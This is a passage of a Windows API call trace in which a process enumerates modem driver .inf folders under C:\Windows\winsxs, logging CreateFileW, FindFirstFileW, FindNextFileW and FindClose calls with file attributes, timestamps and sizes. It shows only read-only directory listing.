	[0108.490] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.490] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebe661c, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3ebe661c, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3eb74205, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2537e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgl006.inf", cAlternateFileName="")) returned 1
	[0108.490] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.490] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.491] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl007.inf_31bf3856ad364e35_6.1.7600.16385_none_cfee2604c67345ce" (normalized: "c:\\windows\\winsxs\\amd64_mdmgl007.inf_31bf3856ad364e35_6.1.7600.16385_none_cfee2604c67345ce"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.491] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl007.inf_31bf3856ad364e35_6.1.7600.16385_none_cfee2604c67345ce\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.491] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.491] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d5964c, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x39d5964c, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x39c9af7b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x321fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgl007.inf", cAlternateFileName="")) returned 1
	[0108.491] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.491] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.491] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl008.inf_31bf3856ad364e35_6.1.7600.16385_none_d0773839df918237" (normalized: "c:\\windows\\winsxs\\amd64_mdmgl008.inf_31bf3856ad364e35_6.1.7600.16385_none_d0773839df918237"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.491] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl008.inf_31bf3856ad364e35_6.1.7600.16385_none_d0773839df918237\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.491] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.492] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x444b73fd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x444b73fd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x4427bf8a, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x139cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgl008.inf", cAlternateFileName="")) returned 1
	[0108.492] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.492] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.492] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl009.inf_31bf3856ad364e35_6.1.7600.16385_none_d1004a6ef8afbea0" (normalized: "c:\\windows\\winsxs\\amd64_mdmgl009.inf_31bf3856ad364e35_6.1.7600.16385_none_d1004a6ef8afbea0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.492] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl009.inf_31bf3856ad364e35_6.1.7600.16385_none_d1004a6ef8afbea0\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.492] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.492] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32deb933, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32deb933, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32d07105, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x34dcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgl009.inf", cAlternateFileName="")) returned 1
	[0108.492] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.492] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.493] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl010.inf_31bf3856ad364e35_6.1.7600.16385_none_f9997b85348f7f3e" (normalized: "c:\\windows\\winsxs\\amd64_mdmgl010.inf_31bf3856ad364e35_6.1.7600.16385_none_f9997b85348f7f3e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.493] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgl010.inf_31bf3856ad364e35_6.1.7600.16385_none_f9997b85348f7f3e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.493] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b42ae78, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b42ae78, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b42ae78, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.493] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x348ff151, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x348ff151, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x347f47c6, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x1ec16, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgl010.inf", cAlternateFileName="")) returned 1
	[0108.493] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.493] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.493] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmgsm.inf_31bf3856ad364e35_6.1.7600.16385_none_bfea4aadd362bbb1" (normalized: "c:\\windows\\winsxs\\amd64_mdmgsm.inf_31bf3856ad364e35_6.1.7600.16385_none_bfea4aadd362bbb1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.494] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmgsm.inf_31bf3856ad364e35_6.1.7600.16385_none_bfea4aadd362bbb1\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.494] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd18108, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd18108, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd18108, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.494] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40530dde, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x40530dde, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x4038dedf, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmgsm.inf", cAlternateFileName="")) returned 1
	[0108.494] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.494] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.494] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmhaeu.inf_31bf3856ad364e35_6.1.7600.16385_none_38844238454bab97" (normalized: "c:\\windows\\winsxs\\amd64_mdmhaeu.inf_31bf3856ad364e35_6.1.7600.16385_none_38844238454bab97"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.494] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmhaeu.inf_31bf3856ad364e35_6.1.7600.16385_none_38844238454bab97\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.494] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.494] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b500f0f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3b500f0f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3b44283e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x13a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmhaeu.inf", cAlternateFileName="")) returned 1
	[0108.495] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.495] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.495] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmhandy.inf_31bf3856ad364e35_6.1.7600.16385_none_1e79dade4d15a79c" (normalized: "c:\\windows\\winsxs\\amd64_mdmhandy.inf_31bf3856ad364e35_6.1.7600.16385_none_1e79dade4d15a79c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.495] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmhandy.inf_31bf3856ad364e35_6.1.7600.16385_none_1e79dade4d15a79c\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.495] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.495] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c02954e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3c02954e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3bf6ae7d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x101ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmhandy.inf", cAlternateFileName="")) returned 1
	[0108.495] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.495] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.496] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmhay2.inf_31bf3856ad364e35_6.1.7600.16385_none_13ebd70762da3f5e" (normalized: "c:\\windows\\winsxs\\amd64_mdmhay2.inf_31bf3856ad364e35_6.1.7600.16385_none_13ebd70762da3f5e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.496] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmhay2.inf_31bf3856ad364e35_6.1.7600.16385_none_13ebd70762da3f5e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.496] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.496] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x354bfd04, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x354bfd04, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x353b5379, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x18838, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmhay2.inf", cAlternateFileName="")) returned 1
	[0108.496] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0108.496] FindClose (in: hFindFile=0x7efd88 | out: hFindFile=0x7efd88) returned 1
	[0108.496] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmhayes.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_02cc3d244af09710" (normalized: "c:\\windows\\winsxs\\amd64_mdmhayes.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_02cc3d244af09710"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.497] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmhayes.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_02cc3d244af09710\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.497] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0108.497] FindNextFileW (in: hFindFile=0x7efd88, lpFindFileData=0x1278d99c | out: lpFindFileData=0x1278d99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0bfb24, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2d6142, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd0bfb24, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x542, dwReserved0=0x0, dwReserved1=0x0, cFileName="mdmhayes.inf_loc", cAlternateFileName="MDMHAY~1.INF")) returned 1
